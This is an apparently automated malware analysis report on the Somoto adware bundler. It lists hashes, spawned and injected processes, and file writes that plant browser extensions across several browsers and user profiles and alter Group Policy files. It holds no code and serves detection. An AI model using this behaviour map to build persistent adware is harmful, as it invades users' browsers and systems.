Application.Bundler.Somoto.A_22e5846c8f

by malwarelabrobot on January 9th, 2015 in Malware Descriptions.

Application.Bundler.Somoto.A (AdAware), mzpefinder_pcap_file.YR, GenericInjector.YR (Lavasoft MAS)
Behaviour: Malware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: 22e5846c8f36984ed237bfa415e88890
SHA1: 968e5ef5f95dd60a4757efb534132fd660b9540a
SHA256: cadc137cfec88fdcff01913b474bf1258a675a84942f7882da63015f8f08f26b
SSDeep: 3072:z22ihA0m3BJP0vQISMbUzujO eEWlMFeXGUMG3 hk74G4pat 6k849n:MA0m3D0v8pY77F8F7q
Size: 162072 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-17 11:14:12
Analyzed on: Windows7Ada SP1 64-bit

Summary:

Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

pricefountainw.exe:3156
GLB4EF.tmp:3568
YTAHelper.exe:2496
294823_.exe:2416
YouTubeAcceleratorService.exe:612
YouTubeAcceleratorService.exe:4068
YouTubeAcceleratorService.exe:3652
ins_postInst.exe:4004
smt_mystartsearch.exe:2560
jsdrv.exe:1472
pricefountain.exe:3652
biclient.exe:2164
biclient.exe:2944
18be6784_.exe:2712
sfx.exe:2496
ins_yta.exe:3812
8B7.tmp:4068
testlsp.exe:1404
setup.exe:2144
setup.exe:2468
rundll32.exe:3868
rundll32.exe:3784
WerFault.exe:4024
WerFault.exe:2364
WerFault.exe:3520
ShopperPro.exe:3492
ins_shopperpro.exe:2016
regsvr32.exe:1848
regsvr32.exe:3620
regsvr32.exe:3436
regsvr32.exe:2508
regsvr32.exe:388
regsvr32.exe:3176
lspinst.exe:3412
lspinst.exe:1836
YTAHEL~1.EXE:3508
DCytaiesmt_smtyc_setup.exe:1572
spbiu.exe:2308
spbiu.exe:1008
%original file name%.exe:3852
wscript.exe:3520
GLJ52F.tmp:3012
taskeng.exe:1652
ytaiesmt_smtyc_setup.exe:3732

The Application injects its code into the following process(es):

YouTubeAcceleratorService.exe:3356
YouTubeAccelerator.exe:3948
biclient.exe:3776
biclient.exe:2152
WerFault.exe:1524

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process pricefountainw.exe:3156 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\logs\wd.log (278 bytes)

The process GLB4EF.tmp:3568 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGD2E.tmp (90734 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLK733.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (24 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (5381 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLM936.tmp (12 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe (44331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJ52F.tmp (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (4742 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLC52E.tmp (3791 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (9304 bytes)

The process YTAHelper.exe:2496 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\config.json (486 bytes)

The process 294823_.exe:2416 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\staged\[email protected]\install.rdf (3404 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
%Program Files% (x86)\Google\Chrome\Application\35.0.1916.153\chrome.dll (730 bytes)
C:\Windows\System32\GroupPolicy\gpt.ini (220 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\GyPMznBeNw9Nlq.dll (566 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\bficfbpgmogcejmgahkdmboeeakkjela\background.html (144 bytes)
C:\ProgramData\PriceLess\ovvklDzNeN5MqWS.exe (135282 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\bficfbpgmogcejmgahkdmboeeakkjela\manifest.json (501 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\GyPMznBeNw9Nlq.tlb (3 bytes)
C:\Users\Administrator\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
%Program Files% (x86)\PriceLess\GyPMznBeNw9Nlq.tlb (259 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\Guest\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Administrator\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
%Program Files% (x86)\PriceLess\GyPMznBeNw9Nlq.dat (260 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\Guest\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\ovvklDzNeN5MqWS.dat (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\Administrator\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Administrator\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\Guest\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Preferences__.tmp (9184665 bytes)
C:\Users\Guest\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Windows\System32\GroupPolicy\Machine\Registry.pol (284 bytes)
C:\Users\Guest\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
%Program Files% (x86)\PriceLess\GyPMznBeNw9Nlq.x64.dll (23680 bytes)
C:\Users\Administrator\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
%Program Files% (x86)\PriceLess\GyPMznBeNw9Nlq.dll (19977 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\bficfbpgmogcejmgahkdmboeeakkjela\content.js (6 bytes)
C:\Users\Guest\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\Administrator\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\[email protected]\content\bg.js (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\staged\[email protected]\chrome.manifest (140 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Local State (54 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\Administrator\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\bficfbpgmogcejmgahkdmboeeakkjela\lsdb.js (9 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\staged\[email protected]\content\bg.js (4160 bytes)
C:\Windows\SysWOW64\GroupPolicy\gpt.ini (29 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\Administrator\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\Administrator\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\ProgramData\536f8e778e8e7ab8\{75F9BF4A-AF67-A478-A37B-31D73186D3F3}.20150108065644 (158 bytes)
%Program Files% (x86)\Google\Chrome\Application\35.0.1916.114\chrome.dll (330 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\Administrator\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\Guest\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\Guest\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\Administrator\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\GyPMznBeNw9Nlq.x64.dll (701 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\[email protected]\install.rdf (595 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\lsdb.js (265 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\[email protected]\chrome.manifest (35 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Guest\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Administrator\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Guest\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\Administrator\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\67f10fd5\bficfbpgmogcejmgahkdmboeeakkjela\YZzitu1.js (26 bytes)
C:\Users\Guest\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\ProgramData\PriceLess\ovvklDzNeN5MqWS.dat (260 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Chromatic Browser\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\manifest.json (757 bytes)
C:\Users\Guest\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\Guest\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\Administrator\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\content.js (262 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
C:\Users\___VMware_Conv_SA___\AppData\Local\Google\Chrome\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\YZzitu1.js (1040 bytes)
C:\Users\Guest\AppData\Local\Torch\User Data\Default\Extensions\bficfbpgmogcejmgahkdmboeeakkjela\5.2\background.html (144 bytes)
